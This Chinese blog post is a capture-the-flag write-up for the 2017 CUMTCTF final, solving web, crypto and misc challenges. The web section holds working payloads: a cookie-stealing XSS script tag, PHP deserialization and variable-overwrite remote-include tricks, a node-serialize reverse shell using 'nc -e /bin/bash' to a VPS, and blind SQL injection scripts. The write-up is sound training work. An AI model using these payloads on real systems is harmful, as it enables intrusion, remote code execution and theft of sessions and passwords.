Sky's blog

2017-CUMTCTF-Final

Word count: 3,609 / Reading time: 16 min
2017/05/17 Share

Web

Appl3’s Fish

拿到题目是个游戏界面,想到校平台上的一道贪吃蛇题目,先抓包后改包,把分数改成5001发送无果,说token错误,但是并不存在post表单,所以猜想是js的题目。
然后查看源代码,在
<script type="text/javascript" src="js/data.js"></script>
发现问题,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {time:new Date().getTime()},
dataType: 'json',
success: function(r) {
var timetoken=r.message;
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {token:token(timetoken+sc),score:sc},
dataType: 'json',
success: function(result) {
message=result.message
}
});
}
});

将其修改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var sc=50000
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {time:new Date().getTime()},
dataType: 'json',
success: function(r) {
var timetoken=r.message;
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {token:token(timetoken+sc),score:sc},
dataType: 'json',
success: function(result) {
message=result.message
document.write(message)
}
});
}
});

写入控制台,即可获取flag

暴打出题人

题目说需要XSS平台,故弄了一个XSS平台,百度XSS平台使用教程,按照步骤,生成了一个:
<script src=http://xsspt.com/GwwRZ7?1494770089></script>
把这个丢入留言板,即可得到cookie:cyrsession=HeyYouAreStealingMyPreciousCookie
然后抓包,把这个放入cookie,发包,即可得到flag

just trick

可以参考XCTF的一道题解:(应该是改编的)
http://blog.csdn.net/niexinming/article/details/52623790
打开题目先看源代码,提示有文件
index.txt
然后访问看源代码
定位到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$id=$_GET['id'];
if($id==0)
{
if(isset($_COOKIE['token']))
{
$key=$_GET['key'];
$token =$_COOKIE['token'];
if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
{
echo "hello Hacker!<br>";
include("include.php");
echo cumtctf_unserialize($token);
}
else
{
echo "You are not Hacker ! ";
}
}
}

首先确定需要我们传的参数为id和key,其中id=0(值得注意的是id='0'这是第一个关键点)
然后是key,关注到代码if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
这里可以使用php的封装协议php://input,因为php://input可以得到原始的post数据:
推荐使用hackbar,post数据:I want flag!!!
即可绕过前2个限制
第三个限制是token
抓包后修改http头,增加cookie: token=
那么第三个问题来了,token等于什么呢?
这里从index.txt泄露考虑到include.txt应该也泄露,果不其然,审计其代码:
可知想要获取flag.php的代码,可以依靠反序列化来读取
于是构造出反序列化:
O:4:"Read":1:{s:4:"file";s:8:"flag.php";}
那么结束了吗?显然token不能只等于这个:
第三个关键点:
if("flag.php"===$this->file||stripos($this->file,"://")>-1)
可见flag.php被过滤,因此想到绕过方式:./
故此得到
O:4:"Read":1:{s:4:"file";s:10:"./flag.php";}
问题依旧没有结束,来到第四个关键点:
preg_match('/[oc]:\d+:/i', $value,$matches);
绕过这个正则,但是这个正则写的很死:
O:4:
所以也方便百度,直接搜索绕过方式
可以得知:
O:4:"Read":1:{s:4:"file";s:10:"./flag.php";}
O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}等价
故此绕过所有限制,token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}
但是别忘了需要url编码,否则分号会被截断,故此
token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d
抓包改包即可得到flag

file_inc

提示有源码泄露,先审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] != '') {
if (stripos($_SERVER['QUERY_STRING'], "GLOBALS") === false &&
stripos($_SERVER['QUERY_STRING'], "_GET") === false &&
stripos($_SERVER['QUERY_STRING'], "_SERVER") === false &&
stripos($_SERVER['QUERY_STRING'], "_POST") === false &&
stripos($_SERVER['QUERY_STRING'], "_COOKIE") === false &&
stripos($_SERVER['QUERY_STRING'], "_REQUEST") === false &&
stripos($_SERVER['QUERY_STRING'], "_ENV") === false &&
stripos($_SERVER['QUERY_STRING'], "_FILES") === false &&
stripos($_SERVER['QUERY_STRING'], "_SESSION") === false) {
parse_str($_SERVER['QUERY_STRING']);
}
}

首先是一大串过滤,发现过滤的都是php全局数组
这里百度了一下QUERY_STRING函数和parse_str函数(具体用法自行百度)
发现后者存在url解码,故可以用url编码绕过过滤,并且后者具有变量覆盖的功效。至此可以掌控全局变量。
继续审计源码

1
2
3
4
5
6
7
8
define("Z_ENTRANCE", true);
define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);

require(Z_ABSPATH . "/conn.php");
require(Z_ABSPATH . "/functions.php");

if (isset($action) && $action == 'main') {
require(Z_ABSPATH . "/main.php");

发现第二个关键点define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);这里存在了一个根目录,而前面我们说到了全局变量覆盖的问题,所以这里毋庸置疑,我们应该覆盖的就是这个根目录,将其改为我们的vps地址,故可以远程包含我们的脚本
(注:别忘了你的vps下也要放conn.php和functions.php否则程序运行到这里就失败了……)
将自己的小马写进main.php
小马如下:

1
2
<?php
echo "<?php echo `ls` ?>";

然后发payload:
/index.php?%5fSERVER[DOCUMENT_ROOT]=http://123.206.222.169&action=main
即可得到全有文件,可以看见flag文件
再将小马的ls改为cat即可获得flag

TextWall

一道来自NJCTF的题目
参考链接:http://www.tuicool.com/articles/eaIvUr
写的非常详细,然后这个题基本也没改动,照着就能迅速做出来,我就不多说了
注意一下改变的地方(原题是url编码一次,这里是url编码两次)

Appl3’s Node

题目存在源码泄露,审计源码
在config.js文件中可以发现登录密码:

1
config.secret_password = "Y3VtdGN0ZjIwMTc="

解码base64即可得到cumtctf2017
但是登录进去管理员界面并没有什么用,告诉你使用nc……
故去百度node.js的cve,得知node.js有反序列化执行漏洞,可以反弹shell
关键源码:

1
2
3
4
5
router.get('/admin', function(req, res, next) {
var passwd= config.secret_password;
var obj = serialize.unserialize(new Buffer(req.cookies.session, 'base64').toString());
res.render('admin', { title: 'Admin area', admin: obj.admin, pass: passwd });
});

可知就是cookie的session的值经过base64即可,故构造出payload:

1
2
3
{"rce":"_$$ND_FUNC$$_function (){\n
require('child_process').exec('nc 你的vps vps的端口 -e /bin/bash', function(error,\nstdout, stderr) {
console.log(stdout) });\n}()"}

将此代码base64后赋值于cookie中的session即可。
故可以成功反弹shell,即可获得Flag

简单的盲注

一开始以为在登录里注入,发现无果,得到hint:关注图片
查看源代码后
发现Url:http://sqlid1.bxsteam.xyz/pic.php?id=4
故此找到注入点,再根据hint,得到这次不是单引号而是双引号
故写脚本进行盲注,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
#encoding: utf-8
#Author:sky
#coding:utf-8
import requests

url = 'http://sqlid1.bxsteam.xyz/pic.php?id=4'
flag = ''

for x in range(1,33):
for y in range(33,127):
url1 = 'http://sqlid1.bxsteam.xyz/pic.php?id=4" and ord(mid(password,'+str(x)+',1))='+str(y)+' and "a"="a'
f = requests.post(url=url1)
if "picture not found" not in f.content:
flag+=chr(y)
print flag
print x
print flag

即可得到一串20位的md5,起初我不相信,后百度得知解法位:
减去前面3位和最后1位,得到一个16位的MD5,即可解密,得到密码登录即可(用户名admin,别告诉我你猜不出来,猜不出来自己注吧)
登录进去后还有一个上传题(真的坑)
上传一个可执行的php文件,是php后缀问题,尝试了php2~php7,phtml,pht都无果
最后谷歌到疯,发现了一个phps,成功了,然而问题还并没有结束,phps脚本内容还有绕过
各种百度php标识后,终于得到绕过脚本:

1
2
3
<script language="php"> 
echo'这是脚本风格的标记';
</script>

上传这个文件后即可得到flag(记得用Burp,不然flag太快会溜走哦,提示你flag已经给你了)

怎么还是盲注

这题很直接,和上题基本相似
注入点直接给你了,url:http://sqlid2.bxsteam.xyz/pic.php?id=1
但是这个注入只有3种状态:sql炸了,flag是密码哦,检测到攻击
最后一种状态肯定不用说,是没用的,遇到了就说明你被过滤了不能用了
故此只能用flag是密码哦和sql炸了,那么问题来了:
web500要的两种状态,一种是sql语法正确(但是语言正确,逻辑恒为真),另一种状态是sql语法错误
所以这就是关键点,要让sql在正确的情况下出错:
想到整数溢出和if语句,于是构造出
if(ord(mid(password,1,1))=1,exp(999999999999),1)
当第一个条件正确时,会进行第二个的运算,即e的999999999999次方,显然溢出,sql会报错,提示sql炸了,而第一个条件不成立时,只会取第三个的值1,显然没有问题,此时提示flag是密码哦,故此可以依此写出注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
#encoding: utf-8
#Author:sky
#coding:utf-8
import requests
flag = ''

for x in range(1,33):
for y in range(33,127):
url1 = 'http://sqlid2.bxsteam.xyz/pic.php?id=1" /*!and*/ if(ord(mid(password,'+str(x)+',1))='+str(y)+',exp(999999999999),1) /*!and*/ "a"="a'
f = requests.post(url=url1)
if "sql语句炸了" in f.content:
flag+=chr(y)
print flag
print flag

运行即可得到flag

Crypto

Base

上来看见
54553479567A493152455250556C524956314655516B394E576C593257564E4254303554566A5A4F56454A48566C4E594D6A303950513D3D
第一反应就是base16,解一波:
TU4yVzI1RERPUlRIV1FUQk9NWlY2WVNBT05TVjZOVEJHVlNYMj09PQ==
然后肯定是base64了,再解一波:
MN2W25DDORTHWQTBOMZV6YSAONSV6NTBGVSX2===
毋庸置疑的base32,再解一波,即可得到Flag

我都不好意思说这是加密

上来看见
OFQXC5DTM5PWG6LSMJPWQ2LINB5W63LLMZPWG43XPU======
先解Base32,得到
qaqtsg_cyrb_hihh{omkf_csw}
目测栅栏加密+凯撒加密的老套路
依次解密即可得到flag

超超超简单的RSA

这题做的还算顺利,上来看见是2048位的n就知道不可能强行分解,所以思考一下,想到了RSA里的双n有公因数,故尝试一波,果然成功,后写出脚本即可解密:
python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#coding=utf-8

def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def fastExpMod(b, e, m):
result = 1
while e != 0:
if (e&1) == 1:
result = (result * b) % m
e >>= 1
b = (b*b) % m
return result

def str2num(s):
return int(s, 16)

ae = str2num("10001")
be = str2num("f422f")
an = str2num("e9095811d315e404af54ee0b9d218c34fd693484d26e976787cb011e178c3d55886bc19ad9bcc8a257439dcf30fa6ba4e9f2fba51c63400859e584668d1db433a3183a522c3f840ce9f037d5730004665c33ac75a7b90e9c6e594d8158276f4bd8e9011a59157ed03214db09cb95a7754de2a5c0df0887fb853e83bc69c4000fe7eab639c682588c5ac6bb868202e430afc43189829b7d9351b4202734a0c49b6398bf7787b2a39fc76cceaf3542d244c25dfdc6157c5360abd5bc2f2ae691ddcc57cc5d26c6c5c159b4e6c9d83b6bd78212a748fd0048d1e8e78541b64e6375940b5a5d25c533efa05a60b67cc486900e69c3b3911ebf2b9b43082c57820fbb")
bn = str2num("e9c9a84b5af86c81e2ecc37c8c390dce92ee8089b9ed593f58298e49774d8424421321e1e3495992fa49dbd7a43fe3ba61098a77c305ebaf8391b111b77530f42d7fb8bcfae3e380f352ab0aad14763154674bd636a98104d0229f1073c077968e837608069be9cf704c4d01879eee9afc84c539b8e2ca7ace15b0046f502a01a6cac53c653697c7a0dbf0e24c64cb66d71af067cd8512a505a0873c2dd56de54ed742d04e8b2b0a4fd9c0c367c71ebd2456fbaf98000f79c4cd442206f265cbc20a17e2fe45325a42d0b46c985e21ab101f44af5da25d79f573cdef618600d0f3060d62f982164a0e992dc739f8f1f51d65283f80d77d1420cb4b8a3f6cae33")
ac = str2num("7f897958f33b5d2a79bead20fbdccc380b69e11a88207327cb182e875e33c6a24c098485e3d63282fe0327ee38a9cf74ddf4a50afd19bc1270faa18de2a3ef5ab350fe7a699c3cbb2439536cd2916bd5a40074abbc0f38f09dfd17be51e92ac7ff4b7057f27c565e7bd32f084cbbcff7eb2475516f0d74c6663156cef24128a4c7a40e0d42c3d730bf555a8496afbbd36c341de51c36b549fe22bfe47bf79f78a4daa1dd21c074a7ba190d7833de78fd17a50c7ae45ec3c41be5ee94edd56bf8c1d420abcef0a2654542dd19b763f1d2810cd2320fd1796dfda5c8994a5f9c42c2f086e15a44af65ecee1a8c89f0d2b73c9b8c56fe81f0d7be0863f574f664c9")
bc = str2num("d069e2e7914cdb78658e3b8bf14c5c6f38bf08509ea7e756ed6379e64ddd2df61ca7e419801cf211177cdd4f0b829f4fa71747301931a80c05632b91245ce93e10439d465dc1dba3ccc550460795c4fc110f8466ccbdb877ae108c3b95a0c485cf01fcd47a6c32ec26cfca1a3efd4744d92ffb9ba202570926a53c2005e92911927bce60ceaee1744282f658169b674a9bd62f20df961dc05d8463c8abff45dcc1410e0878428a841af85b3b6a6b144e88d2a45e04e9b376c67e8d8bea73cd68e111614c7f903a7c904fe66114da0bed9f95f697a46143e41e052ef0278f4505dcbd0e7252cb724f7c8e76030af8e0fe8cc2601970be43e34e39544f9fa679ae")
p = gcd(an,bn)
aq = an/p
bq = bn/p
ad=modinv(ae,(p-1)*(aq-1))
bd=modinv(be,(p-1)*(bq-1))
am = fastExpMod(ac,ad,an)
bm = fastExpMod(bc,bd,bn)
print hex(am)
print hex(bm)

可以得到:

1
2
0x63756d746374667b4743445f69735f55736566756c5f696e5f5273617dL
0x63756d746374667b4743445f69735f55736566756c5f696e5f5273617dL

16进制转字符串即可得到flag

本应该很难的DSA

这题是道原题,writeup写的非常详细了:
参考链接:http://www.iromise.com/2017/01/01/%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E8%B5%9B-DSA/
在此我就不多赘述了……

GF128

此题为20170ctf的一道原题,修改脚本即可得到flag:
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# coding=utf-8
from os import urandom
def process(m, k):
tmp = m ^ k
res = 0
for i in bin(tmp)[2:]:
res = res << 1
if (int(i)):
res = res ^ tmp
if (res >> 128):
res = res ^ P
ress=0
for i in bin(res)[2:]:
ress = ress << 1
if (int(i)):
ress = ress ^ res
if (ress >> 128):
ress = ress ^ P
return ress

def keygen(seed):
key = str2num(urandom(16))
while True:
yield key
key = process(key, seed)

def str2num(s):
return int(s.encode('hex'), 16)

P = 0x100000000000000000000000000000087

fake_secret1 = "gf_128_is_soeasy"
fake_secret2 = "letsdo_something"
secret = str2num(urandom(16))

generator = keygen(secret)
ctxt2 = hex(str2num(fake_secret1) ^ generator.next())[2:-1]
ctxt3 = hex(str2num(fake_secret2) ^ generator.next())[2:-1]

c1 = 0x897f5e0910266b2cf6c5966411cf44fc
c2 = 0x2a2060d12f20d1753356b6f925654915
c3 = 0x74019469ce476d3b168cdca5dd5502a2

k2 = c2 ^ str2num(fake_secret1)
k3 = c3 ^ str2num(fake_secret2)

kt = k3
for i in xrange(127):
kt = process(kt, 0)

seed = kt ^ k2
print "SEED", seed
assert process(k2, seed) == k3

kt = k2
for j in xrange(127):
kt = process(kt, 0)

k1 = kt ^ seed
print "K1", seed
assert process(k1, seed) == k2

m = k1 ^ c1
print `hex(m)[2:-1].decode("hex")`

运行即可得到Flag,但好像题目有些问题,并不能提交成功(= =经过老王学长确认,答案是没错的)
至于这题的原理,可以自己好好深入研究一下……

Misc

签到题

首先向科科发送”flag”,如果不理你,就持续发,然后根据
科科的话来回答,”手持两把锟斤拷”下联就是”口中疾呼烫烫烫”,
然后就问你bxs的中文名就是不显山啦,如果不行就重复发,就
可以拿到flag了

school song

这个把音频文件用hex打开,拖到文件尾,可以看到摩斯密码,
注意,要复制全,翻译过来就是”STEGHIDE PASS IS FL$G”,
然后安装steghide就可以了

Digital Image Processing 1

我这里出的是CMYK啊。。不是RGB也不是RGBA。。。泥萌好好看看flag
—Appl3

打开看到的是4个一组的数字,猜测试RGBA模式,然后写一个
脚本把这些点转换为图片就行了,把这些点复制下来,保存为
1.txt,总共有62500行,分解,猜测为250*250,把代码如下
ps:在Windows下PIL库安装失败,直接放kali里面跑….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image
import re
x = 250 #x坐标 通过对txt里的行数进行整数分解
y = 250 #y坐标 x*y = 行数

im = Image.new("RGBA",(x,y))#创建图片
file = open('1.txt') #打开rbga值文件

#通过一个个rgba点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgba = line.split(",")#分离rgba
im.putpixel((i,j),(int(rgba[0]),int(rgba[1]),int(rgba[2]),int(rgba[3])))#rgba转化为像素
im.show()

Hacker

第一步的流量分析是so逆向,是php扩展后门
—-Appl3

前面的是逆向的队友做的,得到压缩包密码,是流量分析,用
wireshark打开,分析, 追踪流,发现一段base64编码,是攻
击用的脚本,翻译发现是乱码……,接着看,根据流量包内
容,看到了flag.tar.gz,发现有一些固定格式的数据,导出它
们,发现有两个16进制内容的文件猜测其中一个为flag.tar.gz,
然后打开hex,复制内容,把首尾的”->| |<-“ 删掉保存为gz
格式,解压出来的文件用hex打开,观察内容,里面就有flag了

CATALOG
  1. 1. Web
    1. 1.1. Appl3’s Fish
    2. 1.2. 暴打出题人
    3. 1.3. just trick
    4. 1.4. file_inc
    5. 1.5. TextWall
    6. 1.6. Appl3’s Node
    7. 1.7. 简单的盲注
    8. 1.8. 怎么还是盲注
  2. 2. Crypto
    1. 2.1. Base
    2. 2.2. 我都不好意思说这是加密
    3. 2.3. 超超超简单的RSA
    4. 2.4. 本应该很难的DSA
    5. 2.5. GF128
  3. 3. Misc
    1. 3.1. 签到题
    2. 3.2. school song
    3. 3.3. Digital Image Processing 1
    4. 3.4. Hacker